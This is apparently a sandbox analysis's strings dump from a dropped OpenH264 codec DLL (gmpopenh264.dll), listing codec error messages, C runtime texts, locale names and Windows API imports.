Ansi based on Dropped File (gmpopenh264.dll.97104820)

ENCODER_OPTION_INTER_SPATIAL_PRED, this feature not supported at present.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Encoding complete. type=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

england

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-american

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-aus

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-belize

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-can

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-caribbean

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-ire

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-jamaica

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-nz

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-south africa

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-trinidad y tobago

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-uk

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-us

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-usa

Ansi based on Dropped File (gmpopenh264.dll.97104820)

EnumSystemLocalesA

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Error allocating frame data

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Error creating encoded frame

Ansi based on Dropped File (gmpopenh264.dll.97104820)

error Level setting (%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

esday

Unicode based on Dropped File (gmpopenh264.dll.97104820)

eVideoType: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ex_mark_avc():::MMCO_LONG:::LTR marking....iFrameNum: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ex_mark_avc():::MMCO_SHORT2LONG:::LTR marking....iFrameNum: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Exec format error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

exp10

Ansi based on Dropped File (gmpopenh264.dll.97104820)

February

Ansi based on Dropped File (gmpopenh264.dll.97104820)

File exists

Ansi based on Dropped File (gmpopenh264.dll.97104820)

File too large

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Filename too long

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FiredSliceThreads(), fail due pPriData == %p || pLbi == %p || iEventCnt(%d) <= 0 || pEventsList == %p!!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

floor

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FlsAlloc

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FlsFree

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FlsGetValue

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FlsSetValue

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Frame count

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Frame decode on worker thread length =

Ansi based on Dropped File (gmpopenh264.dll.97104820)

frame_crop_left_offset + frame_crop_right_offset exceeds limits!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

frame_crop_top_offset + frame_crop_right_offset exceeds limits!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FrameRate:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FreeEnvironmentStringsW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FreeMemorySvc(), verify memory usage (%d bytes) after free..

Ansi based on Dropped File (gmpopenh264.dll.97104820)

french-belgian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

french-canadian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

french-luxembourg

Ansi based on Dropped File (gmpopenh264.dll.97104820)

french-swiss

Ansi based on Dropped File (gmpopenh264.dll.97104820)

frexp

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Friday

Ansi based on Dropped File (gmpopenh264.dll.97104820)

fu%d%s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Function not implemented

Ansi based on Dropped File (gmpopenh264.dll.97104820)

generic

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GenuineIntel

Ansi based on Dropped File (gmpopenh264.dll.97104820)

german-austrian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

german-lichtenstein

Ansi based on Dropped File (gmpopenh264.dll.97104820)

german-luxembourg

Ansi based on Dropped File (gmpopenh264.dll.97104820)

german-swiss

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetConsoleCP

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetEnvironmentStringsW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetFileType

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetLastActivePopup

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetMultipleThreadIdc(), InitSliceSettings failed.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetOEMCP

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetProcessWindowStation

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetStartupInfoW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetStringTypeW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetSystemInfo

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetUserObjectInformationW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GMPGetAPI

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GMPInit

Ansi based on Dropped File (gmpopenh264.dll.97104820)

gmpopenh264.dll

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GMPShutdown

Ansi based on Dropped File (gmpopenh264.dll.97104820)

great britain

Ansi based on Dropped File (gmpopenh264.dll.97104820)

guments

Unicode based on Dropped File (gmpopenh264.dll.97104820)

HeapCreate

Ansi based on Dropped File (gmpopenh264.dll.97104820)

HeapDestroy

Ansi based on Dropped File (gmpopenh264.dll.97104820)

HeapSize

Ansi based on Dropped File (gmpopenh264.dll.97104820)

HH:mm:ss

Unicode based on Dropped File (gmpopenh264.dll.97104820)

holland

Ansi based on Dropped File (gmpopenh264.dll.97104820)

hong-kong

Ansi based on Dropped File (gmpopenh264.dll.97104820)

iBaseModeFlag (%d) != 0, inter-layer prediction not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Illegal byte sequence

Ansi based on Dropped File (gmpopenh264.dll.97104820)

illegal pic_order_cnt_type: %d !

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Improper link

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Inappropriate I/O control operation

Ansi based on Dropped File (gmpopenh264.dll.97104820)

InitDecode

Ansi based on Dropped File (gmpopenh264.dll.97104820)

InitDqLayers(), InitSlicePEncCtx failed(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

InitializeCriticalSectionAndSpinCount

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Initialized encoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Initializing Bit Rate at: Start:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Initializing encoder at

Ansi based on Dropped File (gmpopenh264.dll.97104820)

InitSliceSettings(), invalid uiSliceMbNum (%d) settings!,now turn to SM_SINGLE_SLICE type

Ansi based on Dropped File (gmpopenh264.dll.97104820)

InitSliceSettings(), uiSliceNum(%d) you set for SM_AUTO_SLICE, now turn to SM_SINGLE_SLICE type!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Input/output error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

inter parse: iMotionPredFlag = 1 not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Interrupted function call

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid argument

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid bitrate settings in layer %d, bitrate= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid bitrate settings in total configure, bitrate= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid PPS referenced

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid ref pPic list reordering syntaxs!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid seek

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid settings in bitrate. the sum of each layer bitrate(%d) is larger than total bitrate setting(%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid settings in input frame rate(%.6f) or output frame rate(%.6f) of layer #%d config file..

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid slice type(%d) in IDR picture.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid slice type(%d).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid string position

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax cabac_init_idc %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax chroma_qp_index_offset %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax first_mb_in_slice %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax idr_pic_id %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax inter_layer_alpha_c0_offset_div2 * 2 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax inter_layer_slice_beta_offset_div2 * 2 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax log2_max_frame_num_minus4 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax log2_max_pic_order_cnt_lsb_minus4 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax max_num_ref_frames %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax num_ref_frames_in_pic_order_cnt_cycle %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax num_ref_idx_l0_active_minus1 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax pic_init_qp_minus26 + 26 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax pic_init_qs_minus26 + 26 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax redundant_pic_cnt %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax seq_scaled_ref_layer_bottom_offset %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax seq_scaled_ref_layer_left_offset %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax seq_scaled_ref_layer_right_offset %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax seq_scaled_ref_layer_top_offset %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax slice_alpha_c0_offset_div2 * 2 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax slice_beta_offset_div2 * 2 %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

invalid syntax vertical mv %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Invalid uiDisableDeblockingFilterIdc %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ios_base::badbit set

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ios_base::eofbit set

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ios_base::failbit set

Ansi based on Dropped File (gmpopenh264.dll.97104820)

iostream

Ansi based on Dropped File (gmpopenh264.dll.97104820)

iostream stream error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

iPpsId out of range

Ansi based on Dropped File (gmpopenh264.dll.97104820)

irish-english

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Is a directory

Ansi based on Dropped File (gmpopenh264.dll.97104820)

IsDebuggerPresent

Ansi based on Dropped File (gmpopenh264.dll.97104820)

IsProcessorFeaturePresent

Ansi based on Dropped File (gmpopenh264.dll.97104820)

iSpsId is out of range!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

IsValidCodePage

Ansi based on Dropped File (gmpopenh264.dll.97104820)

IsValidLocale

Ansi based on Dropped File (gmpopenh264.dll.97104820)

italian-swiss

Ansi based on Dropped File (gmpopenh264.dll.97104820)

iVaaFrameSceneChangeIdc = %d,codingIdx = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

JanFebMarAprMayJunJulAugSepOctNovDec

Ansi based on Dropped File (gmpopenh264.dll.97104820)

January

Ansi based on Dropped File (gmpopenh264.dll.97104820)

KERNEL32.DLL

Unicode based on Dropped File (gmpopenh264.dll.97104820)

LC_ALL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LC_COLLATE

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LC_CTYPE

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LC_MONETARY

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LC_NUMERIC

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LC_TIME

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LCMapStringW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ldexp

Ansi based on Dropped File (gmpopenh264.dll.97104820)

length=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Level is changed from (%d) to (%d) according to the maxbitrate

Ansi based on Dropped File (gmpopenh264.dll.97104820)

log10

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LTR ,iMarkFrameNum invalid LTR delete ,long_term_idx = %d , iFrameNum =%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LTR ,invalid LTR delete ,long_term_idx = %d , iFrameNum =%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

LTR mark mode =%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Lyc>=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

m_pDecContext

Ansi based on Dropped File (gmpopenh264.dll.97104820)

March

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Max AU size exceeded. Allowed size = %d, current size = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

max_num_ref_frames exceeds level limits!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MaxSpatialBitrate (%d) is larger that the limitation LEVEL_5_2, the setting will be invalid

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MaxSpatialBitrate (%d) should be larger than SpatialBitrate (%d), considering it as error setting

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MbP?[SetRates] Error in Setting Bit Rate at Layer:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MbP?LTR ,iMarkFrameNum invalid LTR delete ,long_term_idx = %d , iFrameNum =%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MemGetNextNal() fail due out of memory.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Microsoft Visual C++ Runtime Library

Unicode based on Dropped File (gmpopenh264.dll.97104820)

MM/dd/yy

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MMCO_LONG2LONG: delete a empty entry from short term list

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MMCO_LONG2UNUSED: delete a empty entry from long term list

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MMCO_SHORT2UNUSED: delete a empty entry from short term list

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MMMM dd, yyyy

Unicode based on Dropped File (gmpopenh264.dll.97104820)

Monday

Ansi based on Dropped File (gmpopenh264.dll.97104820)

mscoree.dll

Unicode based on Dropped File (gmpopenh264.dll.97104820)

multithread lock error

Unicode based on Dropped File (gmpopenh264.dll.97104820)

NAL_UNIT_CODED_SLICE: InitBits() fail due invalid access.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

NAL_UNIT_PREFIX: InitBits() fail due invalid access.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

new-zealand

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Nl,"=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

No child processes

Ansi based on Dropped File (gmpopenh264.dll.97104820)

No error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

no input image

Ansi based on Dropped File (gmpopenh264.dll.97104820)

No locks available

Ansi based on Dropped File (gmpopenh264.dll.97104820)

No space left on device

Ansi based on Dropped File (gmpopenh264.dll.97104820)

No such device

Ansi based on Dropped File (gmpopenh264.dll.97104820)

No such device or address

Ansi based on Dropped File (gmpopenh264.dll.97104820)

No such file or directory

Ansi based on Dropped File (gmpopenh264.dll.97104820)

No such process

Ansi based on Dropped File (gmpopenh264.dll.97104820)

non existing SPS referenced

Ansi based on Dropped File (gmpopenh264.dll.97104820)

norwegian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

norwegian-bokmal

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Norwegian-Nynorsk

Ansi based on Dropped File (gmpopenh264.dll.97104820)

norwegian-nynorsk

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Not a directory

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Not enough space

Ansi based on Dropped File (gmpopenh264.dll.97104820)

nough space for lowio initialization

Unicode based on Dropped File (gmpopenh264.dll.97104820)

November

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ntime Error!Program:

Unicode based on Dropped File (gmpopenh264.dll.97104820)

o initialization

Unicode based on Dropped File (gmpopenh264.dll.97104820)

October

Unicode based on Dropped File (gmpopenh264.dll.97104820)

OInitializing Bit Rate at: Start:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ole device

Unicode based on Dropped File (gmpopenh264.dll.97104820)

OpenH264Enc_CodingSliceThreadProc

Ansi based on Dropped File (gmpopenh264.dll.97104820)

OpenH264VideoDecoder::Decode

Ansi based on Dropped File (gmpopenh264.dll.97104820)

OpenH264VideoEncoder::Encode

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Operation not permitted

Ansi based on Dropped File (gmpopenh264.dll.97104820)

operator

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ot enough space for environment

Unicode based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation(), AdaptiveQuant(%d) is not supported yet for screen content, auto turned off

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation(), screen change detection should be turned on,change bEnableSceneChangeDetect as true

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation(),Invalid iRCMode = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation(),Invalid the number of Spatial layer(%d)for screen content

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation(),Invalid usage type = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation,Invalid resolution layer(%d) resolution(%d x %d) shoudl be less than the highest spatial layer resolution(%d x %d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), iLoopFilterDisableIdc(%d) must be between 0 and 6

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), in layer #%d iWidth x iHeight(%d x %d) both should be multiple of 16, can not support with arbitrary size currently!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid iSliceSize (%d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiMaxNalSize (%d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceMbNum (%d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceMode (%d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceMode (%d) settings!,MaxNalSize = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceNum (%d) in SM_RASTER_SLICE settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceNum (%d) settings more than MAX!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceNum (%d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), monitor invalid pCodingParam->iSpatialLayerNum: %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), monitor invalid pCodingParam->iTemporalLayerNum: %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), monitor invalid pCodingParam->uiGopSize: %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), pSlice setting for SM_RASTER_SLICE now turn to SM_SINGLE_SLICE!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), setting lossy link for LTR under screen, which is not supported yet! Auto disabled LTR!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), slice mode = SM_DYN_SLICE, uiSliceSizeConstraint = %d ,uiMaxNalsize = %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), uiIntraPeriod(%d) should be multiple of uiGopSize(%d) or -1 specified!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), uiIntraPeriod(%d) should be not less than that of uiGopSize(%d) or -1 specified!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), uiSliceNum(%d) you set for SM_FIXEDSLCNUM_SLICE, now turn to SM_SINGLE_SLICE type!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), unsupported setting with Resolution and uiSliceNum (%d) combination under RC on! Consider setting single slice with this resolution!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), unsupported setting with Resolution and uiSliceNum combination under RC on! So uiSliceNum is changed to %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), WARNING: GOM based RC do not support SM_RASTER_SLICE!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(),Invalid usage type = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(),width(1-%d),height(1-%d)invalid %d x %d in dependency layer settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

parse_nal(), no exist Picture Parameter Sets ahead of sequence when try to decode NAL(type:%d).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

parse_nal(), no exist Sequence Parameter Sets ahead of sequence when try to decode NAL(type:%d).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseNalHeader() in Prefix Nal Unit:uiQualityId (%d) != 0, bUseRefBasePicFlag (%d) != 0, not supported!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseNalHeader(), no exist Parameter Sets ahead of sequence when try to decode slice(type:%d).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseNalHeader():bUseRefBasePicFlag (%d) != 0, MGS not supported!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseNalHeader():uiQualityId (%d) != 0, MGS not supported!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParsePps(): slice_group_map_type (%d): support only 0,1.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParsePps(): weighted_pred_flag (%d) weighted_bipred_idc (%d) neither supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSliceHeaderSyntaxs(), invaild frame number: %d due to IDR frame introduced!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSliceHeaderSyntaxs(): B slice not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSliceHeaderSyntaxs(): bUseRefBasePicFlag or bStoreRefBasePicFlag = 1 not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSliceHeaderSyntaxs(): frame_mbs_only_flag = %d not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): bit_depth_chroma (%d). Only 8 bit supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): bit_depth_luma (%d) Only 8 bit supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): chroma_format_idc (%d) = 1 supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): frame_mbs_only_flag (%d) not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): level_idx (%d).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): seq_scaling_matrix_present_flag (%d). Feature not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pBase

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pBsBuf for parse only usage

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->pCabacDecEngine

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->pMbRefConcealedFlag[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->pParam

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pCbfDc[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pCbp[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pChromaPredMode[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pChromaQp[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pInterPredictionDoneFlag[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pIntra4x4FinalMode[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pIntraPredMode[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pLumaQp[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pMbCorrectlyDecodedFlag[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pMbRefConcealedFlag[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pMbType[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pMv[][]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pMvd[][]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pNzc[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pNzcRs[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pRefIndex[][]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pResidualPredFlag[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pScaledTCoeff[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pSliceIdc[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pSubMbType[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sRawData->pHead

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sRawData.pHead

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sSavedData->pHead

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sSavedData.pHead

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pDqIdcMap

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pDqLayer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PDqLayer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Permission denied

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pFeatureOfBlock

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pFeatureSearchPreparation

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pFrameBs

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pic_height_in_mbs(%d) exceeds the maximum allowed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pic_width_in_mbs(%d) exceeds the maximum allowed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pIntra4x4PredModeBlocks

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pIter->pMbAllocMap

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pLastCodedMbIdxOfPartition

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pLastMbIdxOfPartition

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pLtr->uiLtrMarkState = %d, pLtr.iCurLtrIdx = %d , pLtr->iLtrMarkFbFrameNum = %d ,pCtx->iFrameNum = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pBufferInterPredMe

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pCoeffLevel

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pDct

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pMemPredBlk4

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pMemPredMb

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pPrevIntra4x4PredModeFlag

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pRemIntra4x4PredModeFlag

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMbCache->pSkipMb

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMvdCostTable

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pMvUnitBlock4x4

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pNonZeroCountBlocks

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pNumSliceCodedOfPartition

Ansi based on Dropped File (gmpopenh264.dll.97104820)

portuguese-brazilian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pOut->pBsBuffer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pOut->pNalLen

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pOut->sNalList

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ppDqLayerList

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPic->pBuffer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPic->pBuffer[0]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPic->pMbSkipSad

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPic->pRefMbQp

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPic->pScreenBlockFeatureStorage

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPic->sMvList

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPic->uiRefMbType

